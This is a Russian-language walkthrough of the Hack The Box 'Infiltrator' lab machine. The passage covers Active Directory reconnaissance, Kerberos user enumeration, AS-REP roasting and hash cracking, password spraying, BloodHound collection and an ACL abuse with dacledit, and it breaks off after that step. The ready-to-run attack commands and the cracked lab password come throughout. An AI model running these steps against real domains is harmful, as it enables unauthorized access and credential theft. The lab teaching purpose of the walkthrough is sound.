Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Продвижение
- Пользователь winrm_svc
- Сессия o.martinez
- Пользователь o.martinez
- Пользователь lan_managment
- Пользователь infiltrator_svc$
- Локальное повышение привилегий
- ESC4
Мы проведем классический сбор данных в Active Directory и через цепочку разрешений скомпрометируем учетную запись, с которой получим сессию на хосте. Затем извлечем данные из мессенджера, вскроем приложение на .NET и проэксплуатируем планировщик задач для получения служебной учетной записи. Повысим привилегии через технику ESC4 для службы ADCS.
Наша цель — получение прав суперпользователя на машине Infiltrator с учебной площадки Hack The Box. Уровень сложности задания — «безумный».
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.31 infiltrator.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 13 открытых портов:
- 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
- 88 — Kerberos;
- 135 — Microsoft RPC;
- 139 — NetBIOS, NetLogon;
- 389 — LDAP;
- 445 — SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 3389 — служба удаленного рабочего стола;
- 5985 — служба удаленного управления WinRM.
Добавим в /etc/hosts еще и полное имя машины, а затем начнем разведку с изучения сайта.
10.10.11.31 infiltrator.htb dc01.infiltrator.htb dc01
Главная страница сайта
Точка входа
На сайте находим список сотрудников. Выписываем их в отдельный файл.
Сотрудники компании
С помощью следующего скрипта мы можем составить список возможных учетных записей в домене.
import sysif len(sys.argv)==1: print("Usage: " + sys.argv[0] + " <usernames.txt>") sys.exit(1)names = open(sys.argv[1],"r").read().strip().split('n')list = []for name in names: n1, n2 = name.split(' ') list.append(n1) list.append(n1+n2) list.append(n1+"."+n2) list.append(n1+"-"+n2) list.append(n1+"_"+n2) list.append(n1+n2[0]) list.append(n1+"."+n2[0]) list.append(n1+"-"+n2[0]) list.append(n1+"_"+n2[0]) list.append(n2[0]+n1) list.append(n2[0]+"."+n1) list.append(n2[0]+"-"+n1) list.append(n2[0]+"_"+n1) list.append(n2) list.append(n2+n1) list.append(n2+"."+n1) list.append(n2+"-"+n1) list.append(n2+"_"+n1) list.append(n2+n1[0]) list.append(n2+"."+n1[0]) list.append(n2+"-"+n1[0]) list.append(n2+"_"+n1[0]) list.append(n1[0]+n2) list.append(n1[0]+"."+n2) list.append(n1[0]+"-"+n2) list.append(n1[0]+"_"+n2)for n in list: print(n)python3 getusers.py team.txt > pos_users.txt
Теперь можно использовать инструмент Kerbrute для определения учетных записей, которые реально существуют в домене. Дело в том, что Kerberos возвращает разные коды ошибок для существующей и несуществующей учетных записей.
kerbrute_linux_amd64 userenum -d infiltrator.htb --dc dc01.infiltrator.htb pos_users.txt
Учетные записи в домене
Имея список действительных учетных записей, можно провести атаку AS-REP Roasting. Если в UAC пользователя установлен флаг «Без предварительной проверки подлинности Kerberos», то мы можем получить TGT-билет пользователя без верного пароля, а затем сбрутить пароль офлайн.
GetNPUsers.py -dc-ip 10.10.11.31 infiltrator.htb/ -usersfile users.txt -no-pass
Проведение атаки AS-REP Roasting
Получаем хеш пользователя L.Clark и можем его пробрутить с помощью hashcat. Затем валидируем учетные данные через NetExec.
hashcat hash.txt rockyou.txt
Результат подбора пароляnxc smb 10.10.11.31 -u 'L.Clark' -p 'WAT?watismypass!'
Проверка учетных данных
Получив валидные логин и пароль, собираем информацию из домена. Первым делом получаем список всех пользователей.
nxc smb 10.10.11.31 -u 'L.Clark' -p 'WAT?watismypass!' --users
Пользователи домена
В описании одной учетной записи есть строка, похожая на пароль. Сохраняем всех юзеров в файл и пробуем использовать найденную строку как пароль для других аккаунтов.
nxc smb 10.10.11.31 -u users.txt -p passwords.txt --continue-on-success
Результат перебора
На некоторых учетных записях получаем ошибку STATUS_ACCOUNT_RESTRICTION, а значит, повторим перебор, но теперь с использованием аутентификации Kerberos.
nxc smb DC01.infiltrator.htb -u users.txt -p passwords.txt -k --continue-on-success
Результат перебора
Ошибка сменилась на KRB_AP_ERR_SKEW, а значит, нам нужно синхронизировать время на локальной машине с сервером.
sudo timedatectl set-ntp falsesudo ntpdate -s 10.10.11.31
Точка опоры
У нас есть несколько учеток, пришло время собрать базу данных BloodHound. Для сбора данных с использованием инструментария под Linux нам нужен рабочий DNS-сервер, однако иногда до него можно не достучаться. Поэтому мы развернем свой при помощи скрипта DNSChef.
Утилита BloodHound использует теорию графов для выявления скрытых и зачастую непреднамеренных взаимосвязей в среде Active Directory. Ее можно использовать, чтобы легко идентифицировать очень сложные пути атаки.
Первым делом нам нужно создать конфиг infiltrator.txt, в котором должны быть стандартные для любого домена записи DNS.
[A] *.infiltrator.htb=10.10.11.31 [SRV] _ldap._tcp.pdc._msdcs.infiltrator.htb=0 5 389 infiltrator.htb _ldap._tcp.gc._msdcs.infiltrator.htb=0 5 389 infiltrator.htb _kerberos._tcp.dc._msdcs.infiltrator.htb=0 5 88 infiltrator.htb
Затем отключаем системный резолвер и запускаем свой DNS-сервер.
sudo systemctl stop systemd-resolved python3 dnschef.py --file ./infiltrator.txt
Затем используем скрипт bloodhound-ce для сбора данных BloodHound. После завершения работы скрипта не забываем отключить DNSChef и снова активировать systemd-resolved.
python3 bloodhound.py -d 'infiltrator.htb' -u 'L.Clark' -p 'WAT?watismypass!' -c All -ns 127.0.0.1 -dc DC01.infiltrator.htb --use-ldap --zip --auth-method ntlm sudo systemctl start systemd-resolved
Сбор данных BloodHound
Строим граф от пользователя D.ANDERSON.
Пользователь D.ANDERSON имеет право GenericAll на подразделение MARKETING DIGITAL, где состоит пользователь E.RODRIGUEZ. Это право позволяет нам назначить любые права для всех членов подразделения. С помощью скрипта dacledit из пакета Impacket даем пользователю D.ANDERSON полные права на всех членов MARKETING DIGITAL.
dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson:WAT?watismypass!' -k -dc-ip 10.10.11.31
Назначение прав на подразделение